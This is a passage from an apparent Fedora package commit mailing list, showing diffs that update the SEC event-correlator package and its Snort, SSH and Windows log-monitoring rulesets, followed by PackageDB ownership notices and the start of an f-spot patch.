+	stop
+	;;
+  restart)
+	restart
+	;;
+  condrestart|try-restart)
+	rh_status_q || exit 0
+	restart
+	;;
+  reload)
+	reload
+	;;
+  force-reload)
+	force_reload
+	;;
+  status)
+	rh_status
+	;;
+  dump)
+	dump
+	;;
+  *)
+	echo $"Usage: $0 {start|stop|restart|condrestart|try-restart|reload|force-reload|status|dump}"
+	exit 2
 esac
 
+exit $?


Index: sec.logrotate
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/sec.logrotate,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sec.logrotate	1 Sep 2006 20:54:01 -0000	1.1
+++ sec.logrotate	3 Oct 2009 07:52:15 -0000	1.2
@@ -3,6 +3,6 @@
     notifempty
     sharedscripts
     postrotate
-        /sbin/service sec reload 2> /dev/null > /dev/null || true
+        /sbin/service sec reload >/dev/null 2>&1 || true
     endscript
 }


Index: sec.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/sec.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sec.spec	27 Jul 2009 04:07:02 -0000	1.6
+++ sec.spec	3 Oct 2009 07:52:15 -0000	1.7
@@ -1,198 +1,121 @@
-#
-# Specfile for SEC, the simple event correlator
-#
-# https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=169345
-#
-
 Name:           sec
-Version:        2.4.1
-Release:        4%{?dist}
-Summary:        SEC (simple event correlator)
-
+Version:        2.5.2
+Release:        1%{?dist}
+Summary:        Simple Event Correlator script to filter log file entries
 Group:          System Environment/Daemons
 License:        GPLv2+
-URL:            http://www.estpak.ee/~risto/sec/
-
-################################################################################
-
+URL:            http://simple-evcorr.sourceforge.net/
 Source0:        http://dl.sourceforge.net/simple-evcorr/%{name}-%{version}.tar.gz
 Source1:        sec.sysconfig
 Source2:        sec.init
 Source3:        sec.logrotate
-
 # Example files and configuration info
-Source100:      conf.README
-Source101:      http://www.estpak.ee/~risto/sec/examples/syslog-ng.txt
-Source102:      001_init.sec
-Source103:      http://www.bleedingsnort.com/sec/amavisd.sec
-Source104:      http://www.bleedingsnort.com/sec/bsd-MONITOR.sec
-Source105:      http://www.bleedingsnort.com/sec/bsd-PHYSMOD.sec
-Source106:      http://www.bleedingsnort.com/sec/bsd-USERACT.sec
-Source107:      http://www.bleedingsnort.com/sec/clamav.sec
-Source108:      http://www.bleedingsnort.com/sec/cvs.sec
-Source109:      http://www.bleedingsnort.com/sec/dameware.sec
-Source110:      http://www.bleedingsnort.com/sec/dbi-example.sec
-Source111:      http://www.bleedingsnort.com/sec/general.sec
-Source112:      http://www.bleedingsnort.com/sec/hp-openview.sec
-Source113:      http://www.bleedingsnort.com/sec/labrea.sec
-Source114:      http://www.bleedingsnort.com/sec/mpd.sec
-Source115:      http://www.bleedingsnort.com/sec/pix-security.sec
-Source116:      http://www.bleedingsnort.com/sec/pix-url.sec
-Source117:      http://www.bleedingsnort.com/sec/portscan.sec
-Source118:      http://www.bleedingsnort.com/sec/snort.sec
-Source119:      http://www.bleedingsnort.com/sec/snortsam.sec
-Source120:      http://www.bleedingsnort.com/sec/ssh-brute.sec
-Source121:      http://www.bleedingsnort.com/sec/ssh.sec
-Source122:      http://www.bleedingsnort.com/sec/vtund.sec
-Source123:      http://www.bleedingsnort.com/sec/windows.sec
-
-BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-
-BuildArch:		noarch
+Source4:        conf.README
+Source5:        http://simple-evcorr.sourceforge.net/rulesets/amavisd.sec
+Source6:        http://simple-evcorr.sourceforge.net/rulesets/bsd-MONITOR.sec
+Source7:        http://simple-evcorr.sourceforge.net/rulesets/bsd-PHYSMOD.sec
+Source8:        http://simple-evcorr.sourceforge.net/rulesets/bsd-USERACT.sec
+Source9:        http://simple-evcorr.sourceforge.net/rulesets/bsd-general.sec
+Source10:       http://simple-evcorr.sourceforge.net/rulesets/bsd-mpd.sec
+Source11:       http://simple-evcorr.sourceforge.net/rulesets/cisco-syslog.sec
+Source12:       http://simple-evcorr.sourceforge.net/rulesets/cvs.sec
+Source13:       http://simple-evcorr.sourceforge.net/rulesets/dameware.sec
+Source14:       http://simple-evcorr.sourceforge.net/rulesets/hp-openview.sec
+Source15:       http://simple-evcorr.sourceforge.net/rulesets/labrea.sec
+Source16:       http://simple-evcorr.sourceforge.net/rulesets/pix-general.sec
+Source17:       http://simple-evcorr.sourceforge.net/rulesets/pix-security.sec
+Source18:       http://simple-evcorr.sourceforge.net/rulesets/pix-url.sec
+Source19:       http://simple-evcorr.sourceforge.net/rulesets/portscan.sec
+Source20:       http://simple-evcorr.sourceforge.net/rulesets/snort.sec
+Source21:       http://simple-evcorr.sourceforge.net/rulesets/snortsam.sec
+Source22:       http://simple-evcorr.sourceforge.net/rulesets/ssh-brute.sec
+Source23:       http://simple-evcorr.sourceforge.net/rulesets/ssh.sec
+Source24:       http://simple-evcorr.sourceforge.net/rulesets/vtund.sec
+Source25:       http://simple-evcorr.sourceforge.net/rulesets/windows.sec
+BuildArch:      noarch
 
-################################################################################
+# The init script uses arrays, so we need bash
+Requires:       bash
+Requires:       logrotate
 
-Requires(post):	    chkconfig
+Requires(post):     chkconfig
 Requires(postun):   initscripts
 Requires(preun):    initscripts, chkconfig
 
-# The init script uses arrays, so we need bash
-Requires:           bash
-
-# Not required specifically by SEC, but our examples use it so we might as well
-# create a requirement for logrotate.
-Requires:           logrotate
-
-# Some alternate names for the package that users might search for
-Provides:           simple-evcorr
-Provides:           sec.pl
-
-################################################################################
-
 %description
-SEC is an open source and platform independent event correlation tool that
-was designed to fill the gap between commercial event correlation systems and
-homegrown solutions that usually comprise a few simple shell scripts.
-SEC accepts input from regular files, named pipes, and standard input, and can
-thus be employed as an event correlator for any application that is able to
-write its output events to a file stream.
-
-################################################################################
+SEC is a simple event correlation tool that reads lines from files, named
+pipes, or standard input, and matches the lines with regular expressions,
+Perl subroutines, and other patterns for recognizing input events.
+Events are then correlated according to the rules in configuration files,
+producing output events by executing user-specified shell commands, by
+writing messages to pipes or files, etc.
 
 %prep
 %setup -q
 
-# Replace some tags in the config files
-    sed -i -e 's/@@NAME@@/%{name}/'    \
-        %{SOURCE1}                     \
-        %{SOURCE2}                     \
-        %{SOURCE3}
-
-# Fix the bindir in case a user wants it put in a different location
-    sed -i -e 's#/usr/bin/sec#%{_bindir}/sec#' \
-        %{SOURCE2}
-
-################################################################################
+%build
 
 %install
-
-rm -rf $RPM_BUILD_ROOT
-
-# Create the directories we'll need
-    install -d -m 755 $RPM_BUILD_ROOT%{_initrddir}
-    install -d -m 755 $RPM_BUILD_ROOT%{_localstatedir}/log
-    install -d -m 755 $RPM_BUILD_ROOT%{_localstatedir}/run
-    install -d -m 755 $RPM_BUILD_ROOT%{_sysconfdir}/logrotate.d
-    install -d -m 755 $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig
-    install -d -m 755 $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/examples
-
 # Install SEC and its associated files
-    install -D -p -m 755 sec.pl     $RPM_BUILD_ROOT%{_bindir}/sec
-    install -D -p -m 644 sec.pl.man $RPM_BUILD_ROOT%{_mandir}/man1/sec.1
-    install -p -m 644 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig/sec
-    install -p -m 644 %{SOURCE3} $RPM_BUILD_ROOT%{_sysconfdir}/logrotate.d/sec
-    install -p -m 755 %{SOURCE2} $RPM_BUILD_ROOT%{_initrddir}/sec
+install -D -m 0755 -p sec.pl     %{buildroot}%{_bindir}/sec
+install -D -m 0644 -p sec.pl.man %{buildroot}%{_mandir}/man1/sec.1
+install -D -m 0644 -p %{SOURCE1} %{buildroot}%{_sysconfdir}/sysconfig/sec
+install -D -m 0644 -p %{SOURCE3} %{buildroot}%{_sysconfdir}/logrotate.d/sec
+install -D -m 0755 -p %{SOURCE2} %{buildroot}%{_initrddir}/sec
 
 # Install the example config files and readme
-    install -p -m 644 %{SOURCE100} \
-            $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/README
-    install -p -m 644 %{SOURCE101} \
-            $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/examples/syslog-ng.sec
-    install -p -m 644 %{SOURCE102}  \
-                      %{SOURCE103}  \
-                      %{SOURCE104}  \
-                      %{SOURCE105}  \
-                      %{SOURCE106}  \
-                      %{SOURCE107}  \
-                      %{SOURCE108}  \
-                      %{SOURCE109}  \
-                      %{SOURCE110}  \
-                      %{SOURCE111}  \
-                      %{SOURCE112}  \
-                      %{SOURCE113}  \
-                      %{SOURCE114}  \
-                      %{SOURCE115}  \
-                      %{SOURCE116}  \
-                      %{SOURCE117}  \
-                      %{SOURCE118}  \
-                      %{SOURCE119}  \
-                      %{SOURCE120}  \
-                      %{SOURCE121}  \
-                      %{SOURCE122}  \
-                      %{SOURCE123}  \
-            $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/examples/
-
-# Replace all "email.com" in sample scripts with an actual fake domain: example.com
-    grep -rl 'email.com' $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/ \
-         | xargs sed -i -e 's/email.com/example.com/g'
-
-# Create ghost files so rpm doesn't complain about them being gone
-    touch $RPM_BUILD_ROOT%{_localstatedir}/log/sec
-    touch $RPM_BUILD_ROOT%{_localstatedir}/run/sec.pid
+install -D -m 0644 -p %{SOURCE4} %{buildroot}%{_sysconfdir}/%{name}/README
+install -d -m 0755  examples
+install -m 0644 -p %{SOURCE5} %{SOURCE6} %{SOURCE7} %{SOURCE8} \
+                   %{SOURCE9} %{SOURCE10} %{SOURCE11} %{SOURCE12} \
+                   %{SOURCE13} %{SOURCE14} %{SOURCE15} %{SOURCE16} \
+                   %{SOURCE17} %{SOURCE18} %{SOURCE19} %{SOURCE20} \
+                   %{SOURCE21} %{SOURCE22} %{SOURCE23} %{SOURCE24} \
+                   %{SOURCE25} examples/
 
-################################################################################
+# Remove executable bits because these files get packed as docs
+chmod 0644 contrib/convert.pl contrib/swatch2sec.pl
 
 %post
-
-if [ $1 = 1 ]; then
-	/sbin/chkconfig --add sec
+if [ $1 -eq 1 ]; then
+        /sbin/chkconfig --add sec
 fi
 
 %preun
-
-if [ $1 = 0 ]; then
-	/sbin/service sec stop > /dev/null 2>&1 || :
-	/sbin/chkconfig --del sec
+if [ $1 -eq 0 ]; then
+        /sbin/service sec stop >/dev/null 2>&1
+        /sbin/chkconfig --del sec
 fi
 
 %postun
-
-if [ $1 = 1 ]; then
-    /sbin/service sec condrestart
+if [ $1 -eq 1 ]; then
+        /sbin/service sec condrestart >/dev/null 2>&1
 fi
 
 %clean
-
-rm -rf $RPM_BUILD_ROOT
-
-################################################################################
+rm -rf %{buildroot}
 
 %files
-
 %defattr(-,root,root,-)
-%doc ChangeLog COPYING README
+%doc ChangeLog COPYING README contrib/convert.pl contrib/itostream.c contrib/swatch2sec.pl examples
+%config(noreplace) %{_sysconfdir}/%{name}
 %config(noreplace) %{_sysconfdir}/sysconfig/sec
-%config(noreplace) %verify (not md5 size mtime) %{_sysconfdir}/logrotate.d/sec
-%{_sysconfdir}/%{name}
-%{_bindir}/sec
+%config(noreplace) %{_sysconfdir}/logrotate.d/sec
 %{_initrddir}/sec
-%{_mandir}/man1/*
-%ghost %verify (not md5 size mtime) %{_localstatedir}/log/sec
-%ghost %verify (not md5 size mtime) %{_localstatedir}/run/sec.pid
-
-################################################################################
+%{_bindir}/sec
+%{_mandir}/man1/sec.1*
 
 %changelog
+* Tue Sep 29 2009 Stefan Schulze Frielinghaus <stefan at seekline.net> - 2.5.2-1
+- New upstream release
+- SPEC file cleanup
+- Init script cleanup
+- Removed some examples because of licensing issues. Upstream has clarified
+  and changed most of the license tags to GPLv2. Additionally, upstream
+  will include the examples in the next release.
+- Removed a provide statement since a period was in the name and no other
+  package required that special name.
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.1-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: snort.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/snort.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- snort.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ snort.sec	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,5 +1,10 @@
 ####################################################################
 #                Sample SEC ruleset for Snort IDS
+#
+# Copyright (C) 2003-2009 Risto Vaarandi
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ####################################################################
 
 # ------------------------------------------------------------------
@@ -52,7 +57,8 @@ pattern=PRIORITY 1 INCIDENT FROM (\S+) T
 context=ATTACK_FROM_$1
 continue=TakeNext
 desc=Priority 1 attack started from $1
-action=create ATTACK_FROM_$1; add ALERT_REPORT %t: %s; pipe '%t: %s' 
+action=create ATTACK_FROM_$1; add ALERT_REPORT %t: %s; pipe '%t: %s' \
+       /usr/bin/mail -s 'NOC: SNORT: priority 1 attack from $1' alerts at example.com
 
 
 # For every priority 1 incident, add an entry to the context by its IP;
@@ -66,7 +72,7 @@ continue=TakeNext
 desc=Priority 1 incident from $1 to $2: $3
 action=add ATTACK_FROM_$1 %t: %s; \ 
        set ATTACK_FROM_$1 300 ( report ATTACK_FROM_$1 \
-       /usr/bin/mail -s 'NOC: SNORT: priority 1 attack from $1 (report)' alerts at email.com )
+       /usr/bin/mail -s 'NOC: SNORT: priority 1 attack from $1 (report)' alerts at example.com )
 
 
 # ------------------------------------------------------------------
@@ -116,7 +122,7 @@ continue=TakeNext
 desc=Create activity contexts for $1
 action=create ACTIVITY_LIST_FOR_$1_LIFETIME; \
        create ACTIVITY_LIST_FOR_$1 7200 ( report ACTIVITY_LIST_FOR_$1 \
-       /usr/bin/mail -s 'SNORT: $1 has been active for 2 hours' alerts at email.com; \
+       /usr/bin/mail -s 'SNORT: $1 has been active for 2 hours' alerts at example.com; \
        delete ACTIVITY_LIST_FOR_$1_LIFETIME )
 
 
@@ -142,7 +148,7 @@ type=Calendar
 time=0 12 * * *
 desc=Sending alert report...
 action=report ALERT_REPORT \
-       /usr/bin/mail -s 'SNORT: Hourly alert report' alerts at email.com; \
+       /usr/bin/mail -s 'SNORT: Hourly alert report' alerts at example.com; \
        delete ALERT_REPORT
 
 
@@ -152,6 +158,6 @@ type=Calendar
 time=0 9 * * *
 desc=Sending portscan report...
 action=report PORTSCAN_REPORT \
-       /usr/bin/mail -s 'SNORT: daily portscan report' alerts at email.com; \
+       /usr/bin/mail -s 'SNORT: daily portscan report' alerts at example.com; \
        delete PORTSCAN_REPORT
 


Index: snortsam.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/snortsam.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- snortsam.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ snortsam.sec	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,10 +1,17 @@
-
+#############################################################################
+# Snort SAM events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 type=single
 ptype=regexp
 pattern=([A-Za-z0-9._-]+) root: (.*) snortsam, Error: Could not bind socket.
 desc = $0
-action=pipe '$1 Snortsam Bind Failed -- NEEDS ATTENTION!: %s' /usr/bin/mail -s "Snortsam Bind Failure: NEEDS ATTENTION on $1" alerts at yourdomain.com
+action=pipe '$1 Snortsam Bind Failed -- NEEDS ATTENTION!: %s' /usr/bin/mail -s "Snortsam Bind Failure: NEEDS ATTENTION on $1" alerts at example.com
 
 
 type=single
@@ -24,7 +31,7 @@ action=add SNORTSAM_REPORT $1 Extending 
 #ptype=regexp
 #pattern=([A-Za-z0-9._-]+)snortsam\[([0-9]+)\]: [*], [:0-9]+, -, ipf, (.*) Failed
 #desc = Snortsam ipf error
-#action=pipe '$1 Snortsam IPF Command Failed' /usr/bin/mail -s "%s" alerts at yourdomain.com
+#action=pipe '$1 Snortsam IPF Command Failed' /usr/bin/mail -s "%s" alerts at example.com
 ##action=add SNORTSAM_REPORT ERROR $1 IPF Command Failure: $2
 
 
@@ -52,13 +59,13 @@ type=single
 ptype=regexp
 pattern=([A-Za-z0-9._-]+) root: (.*) ipf, Error: Command (.*) Failed
 desc = $0
-action=pipe '$1 Snortsam IPF Command Failed: $1 $2 $3' /usr/bin/mail -s "Snortsam IPF Command Failed on $1" alerts at yourdomain.com
+action=pipe '$1 Snortsam IPF Command Failed: $1 $2 $3' /usr/bin/mail -s "Snortsam IPF Command Failed on $1" alerts at example.com
 
 type=single
 ptype=regexp
 pattern=([A-Za-z0-9._-]+) root: (.*) snortsam, Snortsam Station .* using wrong password, trying to resync.
 desc = $0
-action=pipe '$1 Snortsam Password Failure: $1' /usr/bin/mail -s "Snortsam Password Failure on $1" alerts at yourdomain.com
+action=pipe '$1 Snortsam Password Failure: $1' /usr/bin/mail -s "Snortsam Password Failure on $1" alerts at example.com
 
 #Send hourly snortsam report
 
@@ -66,5 +73,5 @@ type=Calendar
 time=0 * * * *
 desc=Sending snortsam report...
 action=report SNORTSAM_REPORT \
-       /usr/bin/mail -s 'SNORTSAM report' alerts at yourdomain.com; \
+       /usr/bin/mail -s 'SNORTSAM report' alerts at example.com; \
        delete SNORTSAM_REPORT


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	28 May 2007 20:06:22 -0000	1.4
+++ sources	3 Oct 2009 07:52:15 -0000	1.5
@@ -1 +1 @@
-f233b3acf7cebdb573f4ff1f441866c3  sec-2.4.1.tar.gz
+0e5e3c2e4e3ef6c21fc32a809c6263bb  sec-2.5.2.tar.gz


Index: ssh-brute.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/ssh-brute.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ssh-brute.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ ssh-brute.sec	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,4 +1,10 @@
 ################## ssh brute force attack blocker
+# Copyright (C) 2003-2009 Mark Bergman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+##################
+#
 # This sec ruleset monitors syslog messages for indications that an ssh brute-force
 # login attack is underway. The trigger is an ssh login failure.
 #
@@ -15,10 +21,6 @@
 # 2 hours.
 #
 # Vulnerabilities of this ruleset are:
-#	DoS attack: if the attacker is aware of this ruleset, they could
-#		spoof a series of victim IP addresses (for example, the 
-#		AOL proxy address), thus causing the server running sec
-#		to deny service to the victim.
 #
 #	persistent firewall rules:
 #		if the sec daemon crashes or is restarted, any existing rules


Index: ssh.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/ssh.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ssh.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ ssh.sec	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,6 +1,13 @@
-# a ruleset to accumulate errors from a parent and child sshd process
+###########################################################################
+# SEC ruleset to accumulate errors from a parent and child sshd process
 # into a single context. This allows reporting of the authenticated
 # user information with the error's generated by the child sshd process.
+#
+# Copyright (C) 2003-2009 John P. Rouillard
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+###########################################################################
 
 # note handling of deferred reporting until after tie events received
 # is still in flux. My old rules hanlded it by resubmitting all the
@@ -38,7 +45,7 @@ action=create EVENT_PROCESSED
 #ptype=regexp
 #pattern=([A-Za-z0-9._-]+) sshd\[([0-9]+)\]: \[[^]]+\] Connection from ([0-9.]+) port [0-9]+
 #action=pipe session_log_$1_$2 \
-#    /usr/bin/mail -s "ssh failed to generate tie event for $1" alerts at email.com
+#    /usr/bin/mail -s "ssh failed to generate tie event for $1" alerts at example.com
 #desc2=Link parent and child contexts
 #ptype2=regexp
 #pattern2=$1 [A-z0-9]+\[[0-9]+\]: \[[^]]+\] SSHD child process +([0-9]+) spawned by $2
@@ -86,7 +93,7 @@ desc=Report immediate on request.
 ptype=regexp
 pattern=^sshd: Report (.*) if needed$
 context = session_log_report_$1
-action= report session_log_$1 /usr/bin/mailx -s "sshd error on $1" alerts at email.com ;\
+action= report session_log_$1 /usr/bin/mailx -s "sshd error on $1" alerts at example.com ;\
         delete session_log_report_$1
 
 type=suppress
@@ -144,7 +151,7 @@ pattern=([A-z._0-9-]*) sshd\[([0-9]+)\]:
 context = $3 < 1025 && tie_event_received_$1_$2
 action = add session_log_$1_$2 $0 ; \
          report session_log_report_$1_$2 \
-             /usr/bin/mailx -s "sshd bind < 1025 on $1" alerts at email.com
+             /usr/bin/mailx -s "sshd bind < 1025 on $1" alerts at example.com
 
 # end immediate rules here
 
@@ -178,7 +185,7 @@ pattern=([A-z._0-9-]*) sshd\[([0-9]+)\]:
 context = ssh_port_forward_errors_$1_$2
 desc = send report on ssh forward errors if pass threshold (bind)
 action = report session_log_$1_$2 \
-            /usr/bin/mailx -s "ssh port forward errors host $1" alerts at email.com; \
+            /usr/bin/mailx -s "ssh port forward errors host $1" alerts at example.com; \
          delete ssh_port_forward_errors_$1_$2
 thresh=5
 window=600
@@ -211,7 +218,7 @@ pattern=([A-z._0-9-]*) sshd\[([0-9]+)\]:
 context = ssh_channel_setup_errors_$1_$2
 desc = send report on ssh channel setup errors
 action = report session_log_$1_$2 \
-            /usr/bin/mailx -s "ssh port forward errors host $1" alerts at email.com ; \
+            /usr/bin/mailx -s "ssh port forward errors host $1" alerts at example.com ; \
          delete ssh_channel_setup_errors_$1_$2
 thresh=5
 window=600
@@ -234,7 +241,7 @@ pattern=([A-Za-z0-9._-]+) sshd\[([0-9]+)
 desc = create context to report ssh errors for host $1 pid $2 in 5 minutes
 context = ! session_log_5min_timer_$1_$2
 action = create session_log_5min_timer_$1_$2 300 report session_log_$1_$2 \
-              /usr/bin/mailx -s "ssh errors for host $1 pid $2" alerts at email.com
+              /usr/bin/mailx -s "ssh errors for host $1 pid $2" alerts at example.com
 
 type=single
 continue = dontcont


Index: vtund.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/vtund.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vtund.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ vtund.sec	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,4 +1,11 @@
-#VTUN Events
+#############################################################################
+# VTUN events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 type=Single
 ptype=RegExp
@@ -58,14 +65,3 @@ pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+vtund\
 desc=$0
 action=add GENERAL_REPORT %t: VTUN Session $2 Closed on $1
 
-
-
-#Send 12 hours vtun report
-
-type=Calendar
-time=0 0,12 * * *
-desc=Sending vtun report...
-action=report VTUN_REPORT \
-       /usr/bin/mail -s 'VTUN: VTUN Report' alerts at yourdomain.com; \
-       delete VTUN_REPORT0
-


Index: windows.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/windows.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- windows.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ windows.sec	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,4 +1,11 @@
-#Windows events
+#############################################################################
+# Windows events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 type=Single
 ptype=RegExp
@@ -17,21 +24,21 @@ type=Single
 ptype=RegExp
 pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+Security: \\Everyone: User Account Locked Out: Target Account Name: (\S+) .*
 desc=$0
-action=pipe '$1 Windows Account Lockout: %s' /usr/bin/mail -s "Windows Account Locked on $1" alerts at yourdomain.com
+action=pipe '$1 Windows Account Lockout: %s' /usr/bin/mail -s "Windows Account Locked on $1" alerts at example.com
 
 
 type=Single
 ptype=RegExp
 pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+Security: \\Everyone: User Account Changed: (/S+)\. .*
 desc=$0
-action=pipe '$1 Windows Account Change: %s' /usr/bin/mail -s "Windows Account Changed on $1: $2" alerts at yourdomain.com
+action=pipe '$1 Windows Account Change: %s' /usr/bin/mail -s "Windows Account Changed on $1: $2" alerts at example.com
 
 
 type=Single
 ptype=RegExp
 pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+NetBT: N\/A: A duplicate name has been detected on the TCP network\. .*
 desc=$0
-action=pipe '$1 Duplicate Netbios Name Detected: %s' /usr/bin/mail -s "Duplicate Netbios Name on $1" alerts at yourdomain.com
+action=pipe '$1 Duplicate Netbios Name Detected: %s' /usr/bin/mail -s "Duplicate Netbios Name on $1" alerts at example.com
 
 
 


--- 001_init.sec DELETED ---


--- clamav.sec DELETED ---


--- dbi-example.sec DELETED ---


--- general.sec DELETED ---


--- mpd.sec DELETED ---


--- syslog-ng.txt DELETED ---



From pkgdb at fedoraproject.org  Sat Oct  3 08:36:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 08:36:46 +0000
Subject: [pkgdb] nimbus ownership updated
Message-ID: <20091003083646.8985410F800@bastion2.fedora.phx.redhat.com>

Package nimbus in Fedora devel was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Sat Oct  3 08:36:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 08:36:54 +0000
Subject: [pkgdb] nimbus ownership updated
Message-ID: <20091003083654.AE36110F7EA@bastion2.fedora.phx.redhat.com>

Package nimbus in Fedora devel is now owned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Sat Oct  3 08:36:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 08:36:58 +0000
Subject: [pkgdb] nimbus ownership updated
Message-ID: <20091003083658.86AC010F7EA@bastion2.fedora.phx.redhat.com>

Package nimbus in Fedora devel was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Sat Oct  3 08:37:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 08:37:02 +0000
Subject: [pkgdb] nimbus ownership updated
Message-ID: <20091003083702.4664310F7EA@bastion2.fedora.phx.redhat.com>

Package nimbus in Fedora 10 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Sat Oct  3 08:37:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 08:37:03 +0000
Subject: [pkgdb] nimbus ownership updated
Message-ID: <20091003083703.EB90D10F86A@bastion2.fedora.phx.redhat.com>

Package nimbus in Fedora 11 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From chkr at fedoraproject.org  Sat Oct  3 09:25:00 2009
From: chkr at fedoraproject.org (chkr)
Date: Sat,  3 Oct 2009 09:25:00 +0000 (UTC)
Subject: rpms/f-spot/F-10
	0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch, NONE,
	1.1 f-spot.spec, 1.86, 1.87
Message-ID: <20091003092500.A172C11C00E5@cvs1.fedora.phx.redhat.com>

Author: chkr

Update of /cvs/pkgs/rpms/f-spot/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21954

Modified Files:
	f-spot.spec 
Added Files:
	0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch 
Log Message:
* Sat Oct 03 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.2-2
- Add patch to fix f-spot crash when using "soft focus" and cairo-devel
  was not installed (BZ 526563)


0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch:
 SoftFocus.cs |    6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

--- NEW FILE 0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch ---
diff --git a/src/SoftFocus.cs b/src/SoftFocus.cs
index 86f2918..a85e48c 100644
--- a/src/SoftFocus.cs
+++ b/src/SoftFocus.cs
@@ -14,9 +14,6 @@ namespace FSpot.Widgets {
 
 	public class SoftFocus {
 
-		[DllImport ("cairo")]
-		internal static extern int cairo_version ();
-
 		ImageInfo info;
 		double radius;
 		double amount;
@@ -108,7 +105,7 @@ namespace FSpot.Widgets {
 			RadialGradient circle;
 
 			// FIXME ugh cairo 1.0.2 is so broken why are we still shipping it.
-			if (cairo_version () > (1 * 10000 + 2 * 100 + 0)) {
+			if (Cairo.CairoAPI.Version > (1 * 10000 + 2 * 100 + 0)) {
 				circle = new RadialGradient (center.X * scale, center.Y * scale, radius * max * .7,
 							     center.X * scale, center.Y * scale, radius * max + max * .2);
 
-- 
1.6.0.6



Index: f-spot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/f-spot/F-10/f-spot.spec,v
retrieving revision 1.86
retrieving revision 1.87
diff -u -p -r1.86 -r1.87
--- f-spot.spec	27 Sep 2009 10:55:03 -0000	1.86
